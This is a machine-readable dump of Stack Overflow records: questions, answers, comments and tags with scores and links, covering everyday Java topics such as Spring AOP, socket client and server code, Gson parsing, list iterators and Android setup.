has body: I need to refine the default QueryDSL numeric type mappings. Therefore the Maven plugin provides the option 1 0 java.lang.Integer I haven't found a way to apply those mappings via the Ant task. How can I apply numeric mappings via Ant?
downvote count: 0
answer count: 1
favorite count: 0
has title: How to apply QueryDSL numeric mappings via ANT Task?
tagged with: querydsl
type: AnsweredQuestion

http://stackoverflow.com/q/22233269
possible better answer: http://stackoverflow.com/a/33167719
has comment: http://stackoverflow.com/comment/33761029
tagged with: java
tagged with: spring-aop
answer count: 2
has comment: http://stackoverflow.com/comment/33761170
downvote count: 0
favorite count: 0
has body: I am trying to implement a RESTful API with Spring MVC. And my coding messed up while using AOP Aspect for my application. I need to check an authToken in every request coming for the source, so that I can give authorization and also I need it for logging. In my code I have several custom exception classes inherited from another main customized exception class which is extented from Exception. When a custom exception is thrown, I need that just expected method waiting for exception works in my Aspect class so that I can return an appropriate error JSON response. However, in my code both methods waiting for an exception work, and I wonder whether I have written my exception classes in a correct way or not. One more thing, I don't know how to tell that my aspect class does not to work for some actions which I define. Here is my code: @Aspect public class SowLoggerAOP { protected Logger logger = Logger.getLogger("SowLoggerAOP"); @Autowired(required = true) private HttpServletRequest request; @Resource(name = "personService") private PersonService personService; @Pointcut("execution(* sow.webservice.controllers..*.*(..))") private void selectAll(){} @Before("execution( * sow.webservice.controllers.PersonController.*(..))") public void logBeforeReq(JoinPoint jp) throws Exception{ String personId = request.getParameter(Consts.AUTH_TOKEN); if (personService.isUserValid(personId)) { logger.debug("Spring AOP! Before invocation SUCCESFULL!!!: "); } else { logger.error("Person not found for the " + Consts.AUTH_TOKEN + " : " + personId); throw new PersonNotFoundException( "Person not found for the " + Consts.AUTH_TOKEN + " : " + personId, ErrorCodes.PERSON_NOT_FOUND); } } @AfterThrowing(pointcut = "selectAll()", throwing = "sowEx") public SowResult throwingSowException(SowCustomException sowEx){ int errorCode = ErrorCodes.GENERAL_SYSTEM_ERROR; if(sowEx.getErrorCode() != 0) errorCode = sowEx.getErrorCode(); SowResult result = new SowResult(Consts.SOW_RESULT_ERROR, errorCode, sow…
has answer: http://stackoverflow.com/a/22234435
tagged with: spring
tagged with: spring-mvc
type: AnsweredQuestion
has title: Implementation of AOP in Spring Framework MVC
score: 1
has answer: http://stackoverflow.com/a/33167719
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/22234435

http://stackoverflow.com/a/22225703
has body: Firstly, BufferedReader does not read the wrapped Reader completely at one time. Instead it reads chunks of a specific size (per default 8192 characters) if required. Secondly, the reason to use a BufferedReader instead of directly using a FileReader is that accessing a file is much more complex than accessing an object in the memory. So if you read a file line by line, you'd access the file system once per line. Using a BufferedReader, you can reduce the count of read operations and thereby improve the performance of your code.
type: Answer
answers question: http://stackoverflow.com/q/22225529
has comment: http://stackoverflow.com/comment/33747087
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/33746621
downvote count: 0

http://stackoverflow.com/a/22303059
answers question: http://stackoverflow.com/q/22302851
type: Answer
score: 0
has body: I don't know why the first and second encoding doesn't work the same way, byt you should always specify your encoding (UTF-8) when creating Writer/reader (all things that takes bytes and gives char an also do the opposite) Write a file in UTF-8 using FileWriter (Java)? So it is new OutputStreamWriter(new FileOutputStream(file), "UTF-8") and new InputStreamReader(new FileInputStream(file), "UTF-8") instead of FileReader, FileWriter
has comment: http://stackoverflow.com/comment/33887443

http://stackoverflow.com/comment/33924338
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22323442
has text: You should also put the database port on your connection string. Have a look at [Mysql Java connectivity](http://stackoverflow.com/questions/2839321/java-connectivity-with-mysql/2840358#2840358)

jogl
tag name: jogl
tags question: http://stackoverflow.com/q/22273340
tags question: http://stackoverflow.com/q/22291918
tags question: http://stackoverflow.com/q/22213948
type: Tag
tags question: http://stackoverflow.com/q/22246333
tags question: http://stackoverflow.com/q/22214310

http://stackoverflow.com/q/22214926
answer count: 4
downvote count: 0
score: 1
type: Question
tagged with: c#
tagged with: java
has title: Java Server, C# Client. Sending Data
has answer: http://stackoverflow.com/a/74691261
has answer: http://stackoverflow.com/a/22215446
upvote count: 1
has body: So, I'm having a problem with sending data from a C# client to a Java Server. The connection is going through, however I'm messing something up somewhere I guess. Here's the ServerSided Code package com.chris.net; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.ServerSocket; import java.net.Socket; public class Server implements Runnable { private String serverName; private boolean isRunning; private ServerSocket serverSocket; private Socket clientSocket; public Server(String name, int port) { try { this.serverName = name; this.serverSocket = new ServerSocket(port); this.isRunning = true; new Thread(this).start(); } catch (IOException e) { e.printStackTrace(); } } private BufferedReader recv; public void run() { while(isRunning) { try { clientSocket = serverSocket.accept(); System.out.println("Client Connected from " + clientSocket.getInetAddress().getHostAddress() + ":" + clientSocket.getPort()); recv = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); System.out.println("Data Recieved: " + recv.readLine()); clientSocket.close(); } catch (IOException e) { e.printStackTrace(); } } } } Here is the Client Code lass TCPClient { private TcpClient Client; private NetworkStream Stream; private Byte[] Data; public TCPClient(string address, int port) { Client = new TcpClient(); Client.Connect(address, port); Stream = Client.GetStream(); SendData("Test Data"); while (Client.Connected) { } } public void SendData(string message) { Data = System.Text.Encoding.ASCII.GetBytes(message); Stream.Write(Data, 0, Data.Length); Console.WriteLine("Sent: {0}", message); } } The server registers the connection, and the client seems to think that it has sent the data, however I can't tell if it's the Client not sending the Data or if it's the Server not receiving it. Considering the Console.Writeline is just printing out the message that was converted into bytes, I can't tell.
favorite count: 0
has answer: http://stackoverflow.com/a/22215235
has answer: http://stackoverflow.com/a/22215055
type: UnansweredQuestion
tagged with: sockets
has comment: http://stackoverflow.com/comment/69954902

http://stackoverflow.com/q/22262832
favorite count: 0
type: UnansweredQuestion
answer count: 4
has answer: http://stackoverflow.com/a/77122024
has answer: http://stackoverflow.com/a/22262918
score: 2
has answer: http://stackoverflow.com/a/22262886
tagged with: list
downvote count: 0
tagged with: java
type: Question
has body: I have a homework question that asks me to make a list iterator that starts at the end of the list. I have no idea how to do this. Here is the code public class LinkedListTester7 { public static void main(String [] args) { LinkedList&lt;Integer&gt; list = new LinkedList&lt;Integer&gt;(); for (int i = 0 ; i &lt; 100 ; i = i + 2) list.add(i) ; //-----------Start below here. To do: approximate lines of code = 3 // 1. make a list iterator that starts at the end of the list ; ListIterator&lt;Integer&gt; litr = list.listIterator(); //2. while hasPrevious ; while (litr.hasPrevious()) { //3. print what is returned by previous() followed by a blank without a newline System.out.println(litr.previous()+ " "); } //-----------------End here. Please do not remove this comment. Reminder: no changes outside the todo regions. System.out.println() ; } }
upvote count: 2
tagged with: iterator
has title: How to make a list iterator that starts at the end of the list
has answer: http://stackoverflow.com/a/22262944
tagged with: listiterator

http://stackoverflow.com/comment/33655570
type: Comment
type: QuestionComment
has text: Also, when you say cleanup - that would require some byte shifting/truncation mechanism to actually get rid of "deleted" bytes, which I think comes back to the initial approach
comment on: http://stackoverflow.com/q/22170740
score: 0

http://stackoverflow.com/a/22230549
type: Answer
score: 4
answers question: http://stackoverflow.com/q/22230306
upvote count: 4
downvote count: 0
has body: So this seems to actually be a known issue in Apache's WordUtils method WordUtils.capitalizeFully before WordUtils version 2.1. If you're still interested in using WordUtils use the following: `WordUtils.capitalizeFully("JEfF SamPsOn-bROWN", new char[]{' ', '-'}); What this will do is it will capitalize everything after the delimters in the character array. This basically will capitalize only the J, S and B. For more info you can check out: Word Utils Documentation

http://stackoverflow.com/comment/33781584
type: Comment
comment on: http://stackoverflow.com/q/22244345
score: 0
has text: possible duplicate of [shutdown hook for java web application](http://stackoverflow.com/questions/1549924/shutdown-hook-for-java-web-application)
type: QuestionComment

http://stackoverflow.com/a/78481001
type: Answer
answers question: http://stackoverflow.com/q/22178735
score: 0
has body: Working in a multi-module project faced the same issue where @DependsOn annotation wont do anything. Problem You have a bean that depends on another bean, and the @DependsOn annotation is not effectively managing the initialization order as expected. Workaround Solution Use the @Lazy annotation on the dependent bean. This forces Spring to defer the initialization of this bean until it is actually needed, ensuring that all other beans are initialized first. @Lazy Annotation: By annotating DependentBean with @Lazy, you are instructing Spring to create and initialize this bean only when it is first needed, rather than during the application startup phase. This allows DependencyBean to be fully initialized before DependentBean is created. Note: This solution is not the most elegant and may bring other challenges, I suggest to use this as workaround only.

http://stackoverflow.com/a/22243820
has body: public String toString() { return String.copyValueOf(arr); } If you get result [C@6d69c9a2,it means it is a array of chars([ for array,c for char) and its hash code is 0x6d69c9a2
type: Answer
answers question: http://stackoverflow.com/q/22243678
has comment: http://stackoverflow.com/comment/33781479
has comment: http://stackoverflow.com/comment/33780798
score: 0

http://stackoverflow.com/comment/33736171
has text: I give the same objects with them, and as it is a subclass of java.sql.Time, it is comparable. This should work then right? I am probably missing multiple things here
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22211264
score: 1

http://stackoverflow.com/comment/33773468
score: 1
comment on: http://stackoverflow.com/a/22235712
type: AnswerComment
has text: Now I'm fully realizing what your solution does. I like this a lot. Thank you.
type: Comment

http://stackoverflow.com/comment/33885463
has text: Clarify your question. What do you mean by 'print to console while waiting for input'?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22301892

http://stackoverflow.com/q/22212615
score: 0
answer count: 2
tagged with: jms
has body: I have REST service which consumes message from queue. I want to consume message on demand - Give me all messages which are available in queue when rest service is getting called. I'm using ActiveMQ with Spring. Below are the code which i'm using below code to get the message from queue. First time when i hit the service, i'm getting all the messages which are available in queue but if i further publish few more messages, even though if i'm not hitting service, message are getting subscribed. What could be the reason for this ? while (true) { try { message = jmsTemplate.receive("TestQ"); if (message instanceof TextMessage) { try { System.out.println(((TextMessage) message).getText()); msg = ((TextMessage) message).getText(); } catch (JMSException ex) { throw new RuntimeException(ex); } } else { throw new IllegalArgumentException("Message must be of type TextMessage"); } } catch (Exception ex) { break; } }
has answer: http://stackoverflow.com/a/22212884
tagged with: spring
has answer: http://stackoverflow.com/a/22214019
tagged with: activemq-classic
type: UnansweredQuestion
tagged with: java
type: Question
linked to: http://stackoverflow.com/q/6935639
has title: ActiveMQ Consume all messages from queue on demand

http://stackoverflow.com/a/22296633
type: Answer
has body: Looks like it is sufficient to switch to Netbeans' internal maven (which is version 3.0.5 and incompatible with android-maven-plugin) and resolve the project issues, because the old maven version downloads the dependency into the local repo. After the download, switch back to maven 3.1.1+ and all seems ok.
answers question: http://stackoverflow.com/q/22296182
score: 0

http://stackoverflow.com/q/22197428
has comment: http://stackoverflow.com/comment/37378527
has body: I am getting the following error while running android app in eclipse [2014-03-05 17:39:51 - ddmlib] Broken pipe java.io.IOException: Broken pipe at sun.nio.ch.FileDispatcher.write0(Native Method) at sun.nio.ch.SocketDispatcher.write(SocketDispatcher.java:47) at sun.nio.ch.IOUtil.writeFromNativeBuffer(IOUtil.java:122) at sun.nio.ch.IOUtil.write(IOUtil.java:93) at sun.nio.ch.SocketChannelImpl.write(SocketChannelImpl.java:352) at com.android.ddmlib.JdwpPacket.writeAndConsume(JdwpPacket.java:213) at com.android.ddmlib.Client.sendAndConsume(Client.java:642) at com.android.ddmlib.HandleHeap.sendREAQ(HandleHeap.java:348) at com.android.ddmlib.Client.requestAllocationStatus(Client.java:488) at com.android.ddmlib.DeviceMonitor.createClient(DeviceMonitor.java:835) at com.android.ddmlib.DeviceMonitor.openClient(DeviceMonitor.java:803) at com.android.ddmlib.DeviceMonitor.processIncomingJdwpData(DeviceMonitor.java:763) at com.android.ddmlib.DeviceMonitor.deviceClientMonitorLoop(DeviceMonitor.java:652) at com.android.ddmlib.DeviceMonitor.access$100(DeviceMonitor.java:44) at com.android.ddmlib.DeviceMonitor$3.run(DeviceMonitor.java:580) what does this error means?
tagged with: java
linked to: http://stackoverflow.com/q/11065509
tagged with: eclipse
type: Question
score: 0
favorite count: 0
tagged with: android
has title: java.io.IOException: Broken pipe while running android app in eclipse
has comment: http://stackoverflow.com/comment/33696355
has comment: http://stackoverflow.com/comment/33696267
answer count: 0
type: UnansweredQuestion
tagged with: adb
upvote count: 1
downvote count: 1

http://stackoverflow.com/comment/33742996
score: 0
type: QuestionComment
type: Comment
has text: Obviously you cannot put `Date` object into a list of `periodOfTime` objects. What exactly are you trying to do?
comment on: http://stackoverflow.com/q/22223462

http://stackoverflow.com/q/22231536
has comment: http://stackoverflow.com/comment/33900990
tagged with: java
tagged with: vaadin
type: Question
has body: Eclipse Kepler Vaadin7 I'm adding the hibernate-validator-4.2.0.Final.jar in my build path but doesn't work. When I try use annotations in my bean doesn't work and not have auto complete. Any idea ?
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33885070
has comment: http://stackoverflow.com/comment/40966431
has title: Vaadin with Bean Validator?
type: UnansweredQuestion
tagged with: vaadin7
has comment: http://stackoverflow.com/comment/33834517
has answer: http://stackoverflow.com/a/26155171

http://stackoverflow.com/a/22201706
has comment: http://stackoverflow.com/comment/33705152
has comment: http://stackoverflow.com/comment/33705104
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33706725
accepted answer of: http://stackoverflow.com/q/22201501
has comment: http://stackoverflow.com/comment/33706229
answers question: http://stackoverflow.com/q/22201501
upvote count: 2
type: AcceptedAnswer
has body: I would have used ArrayList but since you were specific about having an Int Array. You can create an int array of same size of caInputWords and add elements inside foreach loop. Check the code below public static int getInvisibleCharactersCount(String inputWords) { int invisibleCharacters = 0; int decimalEquivalent = 0; char[] caInputWords = inputWords.toCharArray(); // Convert String input to char array int[] intArray = new int[caInputWords.length]; //&lt;&lt;-Create an int array of size of your char array int i= 0; //intializing your counter for(char asciiChar: caInputWords) { decimalEquivalent = (int) asciiChar; // Cast each char of the array to int // Put ints into an intArray intArray[i] = decimalEquivalent; i++; //increment counter after each iteration } for(int ctr = 0; ctr &lt; intArray.length; ctr++) { if((intArray[ctr] &gt;= 0 &amp;&amp; intArray[ctr] &lt; 33) || (intArray[ctr] &gt;= 127 &amp;&amp; intArray[ctr] &lt; 161)) { invisibleCharacters++; } } return invisibleCharacters; }
has comment: http://stackoverflow.com/comment/33705464

http://stackoverflow.com/a/22208904
score: 1
has body: The problem is: 1st you should declare instance of view in GameActivity.java 2nd remove setContentView(R.layout.activity_game);. MainActivity.java public class TitleActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_title); Button switchButton = (Button) findViewById(R.id.button1); switchButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(TitleActivity.this, GameActivity.class); startActivity(intent); } }); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.title, menu); return true; }} GameActivity.java public class GameActivity extends Activity { private DrawV drawView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //Declare instance of DrawV ... drawView = new DrawV(this); // setContentView setContentView(drawView); }} DrawV.java public class DrawV extends View { private Bitmap bit_dot; public DrawV(Context context) { super(context); bit_dot = BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher); } @Override protected void onDraw(Canvas canvas) { super.onDraw(canvas); canvas.drawBitmap(bit_dot, 100, 100, null); canvas.drawBitmap(bit_dot, 50, 50, null); }} activity_title.xml &lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".TitleActivity" &gt; &lt;Button android:id="@+id/button1" android:layout_width="wrap_content" android:layout…
has comment: http://stackoverflow.com/comment/33726927
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33761109
has comment: http://stackoverflow.com/comment/33725350
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/22207722
accepted answer of: http://stackoverflow.com/q/22207722

http://stackoverflow.com/q/22272123
accepted answer: http://stackoverflow.com/a/22272313
has comment: http://stackoverflow.com/comment/33831695
has comment: http://stackoverflow.com/comment/33831751
tagged with: do-while
possible better answer: http://stackoverflow.com/a/22272261
answer count: 2
downvote count: 2
score: -2
has comment: http://stackoverflow.com/comment/33831940
has comment: http://stackoverflow.com/comment/33831690
has answer: http://stackoverflow.com/a/22272313
favorite count: 0
has answer: http://stackoverflow.com/a/22272261
has comment: http://stackoverflow.com/comment/33831834
has body: I had this assignment for school, and I had the idea to further it by incorporating a do loop, but it isn't working the way it was meant to. I was trying to make it repeat the entire program until the input was correct, say if someone entered a string rather an integer then it would repeat the program. How would I do this? Please don't offer better ways of writing this program as it is what the instructor is looking for. I know there are better ways of writing it as I have already done so. public class Grade { public static void main(String[] args) { ConsoleReader console = new ConsoleReader(System.in); int i = 1; do { System.out.println("Enter your grade percentage:"); int percent = (int) console.readDouble(); Math.round(percent); percent = (int) percent / 10; String grade ="Input was not valid"; if(percent &lt;= 5){ grade = "Your grade is an F, Work Harder so you won't have to retake!"; System.out.println(grade); i = 9999999; }else{ switch (percent){ case 6: grade = "Your grade is a D, work harder"; System.out.println(grade); i = 9999999; break; case 7: grade = "Your grade is a C, That's average but you could do better."; System.out.println(grade); i = 9999999; break; case 8: grade = "Your grade is a B, That is pretty good but strive for that A"; System.out.println(grade); i = 9999999; break; case 9: grade = "Your grade is a A, Good Work!!"; System.out.println(grade); i = 9999999; break; case 10: grade = "Your grade is a A, Good Work!!"; System.out.println(grade); i = 9999999; break; default: grade = "Your input was invalid, Please enter your grade percentage."; System.out.println(grade); i++; break; } } }while(i != 9999999); } }
has comment: http://stackoverflow.com/comment/33831684
has comment: http://stackoverflow.com/comment/33831848
upvote count: 0
has title: Why is this do-while loop not working appropriately?
tagged with: loops
type: Question
has comment: http://stackoverflow.com/comment/33831843
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/q/22321962
has title: Json Exception wrong type
has comment: http://stackoverflow.com/comment/33922589
has body: I use Gson in my project. But it returns me error String sig = PortalConfig.getSignature(method, callId, params); String url = PortalConfig.getUrl(method, callId, sig, params); String plainResponse = BaseClientCommunicator.executeGetMethod(url); GsonBuilder builder = new GsonBuilder(); Gson gsonObject = builder.create(); response = gsonObject.fromJson(plainResponse, GetMenuResponse.class); return response; example I get a Server-response like this { "group": [ { "id": "206896", "name": "Ryż", "info": "xyz" }, { "id": "206897", "name": "Buraki", "info": {} } ] } and i have error Expected a string but was BEGIN_OBJECT Exception in thread "main" com.google.gson.JsonSyntaxException: java.lang.IllegalStateException: Expected a string but was BEGIN_OBJECT at line 1 column 16151 how should I handle this exception?? public class GetMenuResponse { @SerializedName("group") private group[] group; //method get and set //to string method } public class group { @SerializedName("id") private String id; @SerializedName("name") private String name; @SerializedName("info") private String info; //method get and set //to string method } I do not have access to the database, because I use the API
linked to: http://stackoverflow.com/q/27212598
score: 0
answer count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33920940
has answer: http://stackoverflow.com/a/22322873
has comment: http://stackoverflow.com/comment/33920868
has comment: http://stackoverflow.com/comment/33921604
has comment: http://stackoverflow.com/comment/33921796
tagged with: java
tagged with: http://stackoverflow.com/tag/json
tagged with: gson
tagged with: eclipse
type: Question

http://stackoverflow.com/a/22288355
has comment: http://stackoverflow.com/comment/47958348
answers question: http://stackoverflow.com/q/22287439
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22287439
type: Answer
has comment: http://stackoverflow.com/comment/47964251
has body: Here I am sharing you a nice Chat Program having one server that is communicating with multiple clients using TCP protocol as per your requirement. Program contains: Each client is informed wherever a new client is added along with their name and position. It also checks for existing names. Program doesn't allow multiple clients using same name. Use this program as initial starter for your game. Please let me know if you want to add new functionality in the program. Here is the code (see code comments for more clarification): Note: replace host name in LiveChatClient.java file before running this program at port no 1234 Steps to run the program: first run LiveChatServer only for single time then run LiveChatClient for multiple clients as many as you want to add Opcode.java: Operation code that is used to set a client-server communication protocol package com.chat; /**************** an interface to define different operation code **************/ public interface Opcode { int CLIENT_CONNECTEING = 1; int CLIENT_CONNECTED = 2; } LiveChatServer.java: Single server that is controlling multiple clients package com.chat; /************************ Live Chat Server *******************/ import java.io.IOException; import java.net.InetAddress; import java.net.ServerSocket; import java.net.Socket; import java.util.HashMap; import java.util.LinkedHashMap; public class LiveChatServer { // Connection state info private static LinkedHashMap&lt;String, ClientThread&gt; clientInfo = new LinkedHashMap&lt;String, ClientThread&gt;(); // TCP Components private ServerSocket serverSocket; // Main Constructor public LiveChatServer() { startServer();// start the server } public void startServer() { String port = "1234"; try { // in constractor we are passing port no, back log and bind address whick will be local // host // port no - the specified port, or 0 to use any free port. // backlog - the maximum length of the queue. use default if it is equal or less than 0 // bindAddr - the local Ine…
upvote count: 3
score: 3

http://stackoverflow.com/comment/33787394
type: QuestionComment
comment on: http://stackoverflow.com/q/22246226
has text: @Sanjeev Both your questions would be answered if the OP added a MCTaRE.
score: 0
type: Comment

http://stackoverflow.com/a/22706391
has comment: http://stackoverflow.com/comment/36264124
has comment: http://stackoverflow.com/comment/36491039
has comment: http://stackoverflow.com/comment/36200260
score: 0
type: Answer
has body: Maybe the client was working so slow that it couldn't create the HTTP connection properly, so after a while, your server throws a java.util.concurrent.TimeoutException for that particular request. Is that possible in your scenario?
answers question: http://stackoverflow.com/q/22188585

http://stackoverflow.com/q/22211366
accepted answer: http://stackoverflow.com/a/22212001
has comment: http://stackoverflow.com/comment/33722673
possible better answer: http://stackoverflow.com/a/22211767
has comment: http://stackoverflow.com/comment/33722629
has answer: http://stackoverflow.com/a/22211767
has comment: http://stackoverflow.com/comment/33722937
answer count: 3
has answer: http://stackoverflow.com/a/22211875
tagged with: android
has answer: http://stackoverflow.com/a/22212001
has comment: http://stackoverflow.com/comment/33722680
tagged with: http://stackoverflow.com/tag/xml
favorite count: 0
has body: When i make a new Android application project, , it does not give me the xml file in the layout folder under res , and does not give me any java files in the src source folder. Just don't know what to do , have uninstalled and re installed the entire of eclipse and all its sdks , have no clue whatsoever now , really disappointed that everything has come to a halt and its just not working . Help please if you can cheers
has comment: http://stackoverflow.com/comment/33723005
has comment: http://stackoverflow.com/comment/33723089
score: 2
type: AnsweredQuestion
downvote count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33722776
tagged with: eclipse
has comment: http://stackoverflow.com/comment/33722591
type: Question
upvote count: 2
has title: Eclipse won't produce xml file in layout , or a java file in src when making android application

http://stackoverflow.com/q/22200207
tagged with: bitmap
has answer: http://stackoverflow.com/a/23156606
tagged with: java
type: Question
score: 0
tagged with: colors
has body: I have the following texture: The black pixels are characters, the background is transparent. How do I change the black pixels of the characters to another color? I use this texture as a bitmap for tekst rendering in lwjgl. Is there a way to change the black pixels to red? I would appreciate an example.
answer count: 1
tagged with: textures
type: UnansweredQuestion
tagged with: lwjgl
has title: How to change color in lwjgl texture

http://stackoverflow.com/comment/33839110
has text: Use a decompiler and see how Integer.toBinaryString works, it may help you to find out
score: 0
comment on: http://stackoverflow.com/q/22275965
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33721383
type: Comment
comment on: http://stackoverflow.com/a/22210594
has text: this is how i connected to the database public static Connection ConnectDb() { try{ //Class.forName("conn.mysql.jdbc.Driver"); Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/milton","root","" + ""); JOptionPane.showMessageDialog(null, "Well done!!! Connection Established"); return conn; }catch(Exception e) { JOptionPane.showMessageDialog(null, "Sorry Connection Fail"); return null; } }
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33679812
score: 0
comment on: http://stackoverflow.com/q/22187650
has text: Please post the complete stack trace.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22192465
type: AnsweredQuestion
tagged with: java
has body: I generated the stub by Axis2 Code Generator in eclipse. And my client code is below: ServerStub server = new ServerStub(); for (int i = 0; i &lt; 5; i++) { java.sql.Timestamp requestTime = new java.sql.Timestamp(System.currentTimeMillis()); OperationResponse res = server.operation(new operation()); System.out.println("Response Time: " + (System.currentTimeMillis() - requestTime.getTime()) + "ms"); } Then I got the output: Response Time: 371ms Response Time: 13ms Response Time: 16ms Response Time: 14ms Response Time: 11ms Is there anyone can explain this? Thx. P.S. the server and client are in the same network segment
tagged with: web-services
has answer: http://stackoverflow.com/a/22192543
type: Question
tagged with: apache-axis
score: 0
answer count: 1
has title: Why the response time of first call is longer than the following
accepted answer: http://stackoverflow.com/a/22192543
tagged with: httpresponse

http://stackoverflow.com/comment/102477680
has text: The Question asks for a date-only value, not the date-with-time values you seek here. And the terrible legacy class `Date` has nothing to do with the Question, and should generally be avoided.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/58037031
type: AnswerComment

http://stackoverflow.com/comment/35476379
type: QuestionComment
comment on: http://stackoverflow.com/q/22190642
score: 0
has text: Or you can join channel #parboiled1 on IRC (freenode, irc.freenode.net)
type: Comment

http://stackoverflow.com/a/22197507
has comment: http://stackoverflow.com/comment/33696625
has body: First test what kind of object is returned by using getClass() on the value of link for (String)entryMap.get("what_2_url")and printing it. Then cast link to the right class and use a getter or anything defined for that specific class. A test using instanceof before casting is probably a good idea. So in your case: HashMap&lt;?, ?&gt; linkHashMap = (HashMap&lt;?, ?&gt;) link; System.out.println(linkHashMap.get("postid"));
has comment: http://stackoverflow.com/comment/33697217
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33696846
has comment: http://stackoverflow.com/comment/33696745
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/22197335
downvote count: 0
answers question: http://stackoverflow.com/q/22197335
score: 1
has comment: http://stackoverflow.com/comment/33696425

http://stackoverflow.com/a/22208311
has comment: http://stackoverflow.com/comment/33717059
type: Answer
has comment: http://stackoverflow.com/comment/33716734
score: 0
answers question: http://stackoverflow.com/q/22208263
has comment: http://stackoverflow.com/comment/33716671
has body: String[] array = new String[100]; int currentIndex = 0; while (aScanner.hasNext()) { String code = aScanner.next(); String sku = aScanner.next(); double qty = aScanner.nextDouble(); array[currentIndex] = code; array[currentIndex++] = sku; array[currentIndex++] = ""+qty; currentIndex++; }

http://stackoverflow.com/q/22276784
linked to: http://stackoverflow.com/q/2671496
has body: I'm having trouble with an assignment. What's happening is that a file is being read that reads numbers and validates if they're correct values. One of these values contains a letter and I'm trying to get my program to detect that and save the total value that should not be there. Here's the code. I'm reading the data as Strings and then converting the strings into doubles to be compared. I want to validate if the strings being read in are all numbers and then save that value for a later use. Does that make sense? for example the numbers have to be between 0 and 99999 and one value is 573S1, which wouldn't work because it contains an S. I want to save that value 573S1 to be printed as an error from the file at a later point in the code. public static void validateData() throws IOException{ File myfile = new File("gradeInput.txt"); Scanner inputFile = new Scanner(myfile); for (int i=0; i&lt;33; i++){ String studentId = inputFile.next(); String toBeDouble = studentId; Double fromString = new Double(toBeDouble); if (fromString&lt;0||fromString&gt;99999){ System.out.println(); } Any help would be greatly appreciated. Thanks a lot! Edit: Here's what I get if I try to run the program. Exception in thread "main" java.lang.NumberFormatException: For input string: "573S1" at sun.misc.FloatingDecimal.readJavaFormatString(FloatingDecimal.java:1222) at java.lang.Double.valueOf(Double.java:475) at java.lang.Double.&lt;init&gt;(Double.java:567) at Paniagua_Grading.validateData(Paniagua_Grading.java:23) at Paniagua_Grading.main(Paniagua_Grading.java:6)
upvote count: 0
has comment: http://stackoverflow.com/comment/33840604
possible better answer: http://stackoverflow.com/a/22276866
tagged with: double
has answer: http://stackoverflow.com/a/22276866
has comment: http://stackoverflow.com/comment/33841540
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33840675
tagged with: java
score: -1
has comment: http://stackoverflow.com/comment/33840645
has answer: http://stackoverflow.com/a/22277027
accepted answer: http://stackoverflow.com/a/22277027
type: Question
has comment: http://stackoverflow.com/comment/33840669
answer count: 2
has comment: http://stackoverflow.com/comment/33840712
downvote count: 1
tagged with: string
has comment: http://stackoverflow.com/comment/33840643
has comment: http://stackoverflow.com/comment/33840544
favorite count: 0
tagged with: validating
has title: Reading Strings

http://stackoverflow.com/comment/33710702
has text: @DavidConrad if you happen to have a good design of your servlets, then there won't be any race condition nor concurrent modification at all. That's why I pointed out BalusC's answer on this topic.
comment on: http://stackoverflow.com/a/22204527
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22307309
tagged with: eclipse
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/22307613
has title: Zxing barcode scanner implementation intent
type: AnsweredQuestion
has body: I've been looking everywhere regarding implementing a barcode scanner into my application/ I've already included the code which'll enable the user to scan if the Barcode scanner is installed but I now need something to prompt the user to download the application if it isn't already installed? I followed an example to get me this far. Here is my code package com.example.zxingscan; import android.os.Bundle; import android.app.Activity; import android.content.Intent; import android.view.View; import android.view.View.OnClickListener; import android.widget.TextView; public class Main extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); HandleClick hc = new HandleClick(); findViewById(R.id.butQR).setOnClickListener(hc); } private class HandleClick implements OnClickListener{ public void onClick(View arg0) { Intent intent = new Intent("com.google.zxing.client.android.SCAN"); switch(arg0.getId()){ case R.id.butQR: intent.putExtra("SCAN_MODE", "QR_CODE_MODE"); break; } startActivityForResult(intent, 0); //Barcode Scanner to scan for us } } public void onActivityResult(int requestCode, int resultCode, Intent intent) { if (requestCode == 0) { TextView tvStatus=(TextView)findViewById(R.id.tvStatus); TextView tvResult=(TextView)findViewById(R.id.tvResult); if (resultCode == RESULT_OK) { tvStatus.setText(intent.getStringExtra("SCAN_RESULT_FORMAT")); tvResult.setText(intent.getStringExtra("SCAN_RESULT")); } else if (resultCode == RESULT_CANCELED) { 